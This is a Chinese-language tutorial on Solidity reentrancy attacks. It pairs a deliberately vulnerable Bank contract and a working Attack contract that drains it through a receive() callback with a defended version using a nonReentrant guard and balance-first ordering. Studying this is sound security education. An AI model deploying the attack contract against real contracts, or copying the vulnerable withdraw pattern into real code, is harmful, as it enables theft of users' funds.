#### 理解概念：
- "重入攻击"，顾名思义，重复执行逻辑而造成的攻击。
- 广义上，重入指的是，合约A在调用合约B时，合约B又回调合约A的某个函数。
- 即将讨论的示例，重入攻击，指的是"重复执行转账操作，而造成资金损失的攻击"。
- 我理解的攻击机制：利用合约函数对于"单次函数的调用"，没有进行"严格的开闭检查"，而达成的重复进入逻辑。


　

##### 攻击成功示例：
```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
    演示 重入攻击 - 成功
*/

contract Bank {
    mapping (address => uint256) public balanceOf;

    constructor() payable {}

    // 存入ether，并更新余额
    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    // 提取msg.sender的全部ether
    function withdraw() external {
        uint256 balance = balanceOf[msg.sender]; // 获取余额
        require(balance > 0, "Insufficient balance");

        // 转账 ether，完全不防范重入攻击，裸写转账
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        // 更新余额
        balanceOf[msg.sender] = 0;
    }

    // 获取银行合约的总余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    Bank public bank; // Bank合约地址

    // 初始化Bank合约地址
    constructor(Bank _bank) {
        bank = _bank;
    }

    // 回调函数，用于重入攻击Bank合约，反复的调用目标的withdraw函数
    receive() external payable {
        if (bank.getBalance() >= 1 ether) {
            bank.withdraw();
        }
    }

    // 攻击函数，调用时 msg.value 设为 1 ether
    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    // 获取本合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
```


　

##### 攻击失败(防御成功)的示例：
```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

/*
    演示 重入攻击 - 防御
*/

abstract contract ReentrancyGuard {
    uint256 private constant NOT_ENTERED = 1;
    uint256 private constant ENTERED = 2;

    uint256 private _status;

    error ReentrancyGuardReentrantCall();

    constructor() {
        _status = NOT_ENTERED;
    }

    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        if (_status == ENTERED) {
            revert ReentrancyGuardReentrantCall();
        }

        _status = ENTERED;
    }

    function _nonReentrantAfter() private {
        _status = NOT_ENTERED;
    }

    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == ENTERED;
    }
}

contract Bank is ReentrancyGuard {
    mapping (address => uint256) public balanceOf;

    constructor() payable {}    

    // 存入ether，并更新余额
    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    // 提取msg.sender的全部ether
    function withdraw() external nonReentrant {
        uint256 balance = balanceOf[msg.sender]; // 获取余额
        require(balance > 0, "Insufficient balance");

        // 先更新余额
        balanceOf[msg.sender] = 0;

        // 转账 ether，此时，已经有防御了
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");
    }

    // 获取银行合约的总余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    Bank public bank; // Bank合约地址

    // 初始化Bank合约地址
    constructor(Bank _bank) payable {
        bank = _bank;
    }

    // 回调函数，用于重入攻击Bank合约，反复的调用目标的withdraw函数
    receive() external payable {
        if (bank.getBalance() >= 1 ether) {
            bank.withdraw();
        }
    }

    // 攻击函数，调用时 msg.value 设为 1 ether
    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    // 获取本合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
```


　

#### 总结一下：
- 作恶者利用"银行合约"执行```msg.sender.call()```的时候，会重新回到"攻击合约"的```receive()```函数的机制，进而在```receive()```中编写"恶意代码"，最终达成重复进行"银行合约"执行转账行为。
- 防御原理：编写"禁止重入的修饰器"(```nonReentrant```)，且，规规矩矩提前执行```balanceOf[msg.sender] = 0```(其实，这也符合常见的商业逻辑执行顺序，"先扣用户的钱，再给用户提供利益")。
- 值得一提的是：在Solidity和以太坊智能合约中，没有传统意义上的多线程机制，而，所有的函数调用都在一个区块链网络的共识机制下顺序执行。
- 在作恶者"重入攻击"被成功防御的时候，remix测试层面上，会把错误最终体现在"最外围的异常"，也就是```msg.sender.call```的执行下一行，即```require(success, "Failed to send Ether")```；并没有直接在```revert ReentrancyGuardReentrantCall()```错误处异常哦。